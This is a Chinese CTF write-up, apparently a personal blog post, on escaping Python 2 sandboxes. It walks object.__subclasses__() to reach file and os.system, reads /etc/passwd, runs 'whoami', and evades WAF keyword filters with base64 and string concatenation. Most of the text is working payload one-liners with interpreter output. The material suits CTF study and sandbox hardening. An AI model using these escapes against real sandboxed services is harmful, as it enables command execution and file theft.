0x00:背景

刚打完ciscn的比赛,发现杂项题有一个python的沙盒逃逸,肝了一个凌晨.
第一次接触沙盒逃逸,通宵查资料可太有意思了.
沙盒逃逸大概就是通过调用system命令达到getshell的目的
在这记录一些可能用到的攻击方法


0x01:Magic Code:

首先python的内置对象有一个class属性来存储类型,python中一切均为对象,均继承object对象,并且可在通过属性subclasses来查看object的子类(包括所有的内置类)

>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>.....

使用[].__class__.__base__.__subclasses__().index(模块名)可以查看该模块在object子类的位置,或者也可以手动数(XD

>>> [].__class__.__base__.__subclasses__().index(file)
40

0X02:reload重载

如果源代码删除了一些危险模块,但是没有禁用reload可以通过reload重新加载被删除的模块

del __builtins__.__dict__['eval']
del __builtins__.__dict__['os']
del __builtins__.__dict__['system']
reload(__builtins__)

0x03:file读写文件

可以通过dir()查看内置模块
或者也可以使用下面这段魔术代码不import任何模块而直接调用函数

[].__class__.__base__.__subclasses__()

查看file模块在object类中的位置,一般来说是40

>>> [].__class__.__base__.__subclasses__().index(file)
40

读取文件:

().__class__.__bases__[0].__subclasses__()[40]('./etc/passwd','r').read()

写文件:

().__class__.__bases__[0].__subclasses__()[40]('./tmp/1.txt','w').write("sheldon")

0x04:GetShell

一般想要GetShell引用下面这三个库就行了

  1. os
  2. subprocess
  3. commands

但是当这三个库都被禁用的时候还有另一种方法
就是上面提到的魔术代码,其中有一些内置的模块已经提前加载了os

<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>

在这里我使用warnings.catch_warnings做介绍:
首先获取warnings.catch_warnings在object类中的位置

>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60
>>> [].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
>>> [].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

查看linecache

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']

可以看到这里调用了os模块,所以可以直接调用os模块

>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>>>a
<module 'os' from '*****\python27\lib\os.pyc'>

接着要调用os的system方法,先查看system的位置:

>>>a.__dict__.keys().index('system')
79
>>> a.__dict__.keys()[79]
'system'
>>> b=a.__dict__.values()[79]
>>> b
<built-in function system>
>>> b('whoami')
********\sheldon

可以看到成功getshell


0x04:Waf ByPass:

当有的字符串被waf的时候可以通过编码或者字符串拼接绕过
base64:

().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

字符串拼接:

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

0x05:可能碰到的坑

ls被waf的时候就不能通过[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.values()[12]直接加载os模块
这时候可以使用__getattribute__+字符串拼接/base64 绕过 例如:

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

等价于:

[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

0x06:小结

当对象是一个class的时候可以通过.__init__.__globals__.keys()查看内置模块名

>>>a=[].__class__.__base__.__subclasses__()[72]
>>>a.__init__.__globals__.keys()
['traceback', 'setencoding', 'sethelper', 'execsitecustomize', '__builtin__', 'addsitedir', 'addpackage', 'ENABLE_USER_SITE', 'USER_SITE', 'setquit', 'setcopyright', 'addsitepackages', '_Printer', 'setBEGINLIBPATH', 'check_enableusersite', '__package__', 'USER_BASE', 'abs__file__', 'main', '__doc__', '_Helper', '_script', '__builtins__', '__file__', '_init_pathinfo', 'removeduppaths', 'sys', 'getsitepackages', '__name__', 'getusersitepackages', 'execusercustomize', 'aliasmbcs', 'makepath', 'getuserbase', 'PREFIXES', 'addusersitepackages', 'os']

然后通过.__inint__.__globals__['os']加载os模块

>>>b=a.__init__.__globals__['os']
<module 'os' from '******\python27\lib\os.pyc'>

查看os模块下的方法:

>>> b.__dict__.keys().index('system')
79

使用该方法:

>>>cmd=b.__dict__['system'] / cmd=b.__dict__.values()[79]
>>>cmd('whoami')
***********\sheldon

注:允许加载多次,比如上面getshell就是先warnings.catch_warnings类中linecache模块,然后再加载linecache模块中的os模块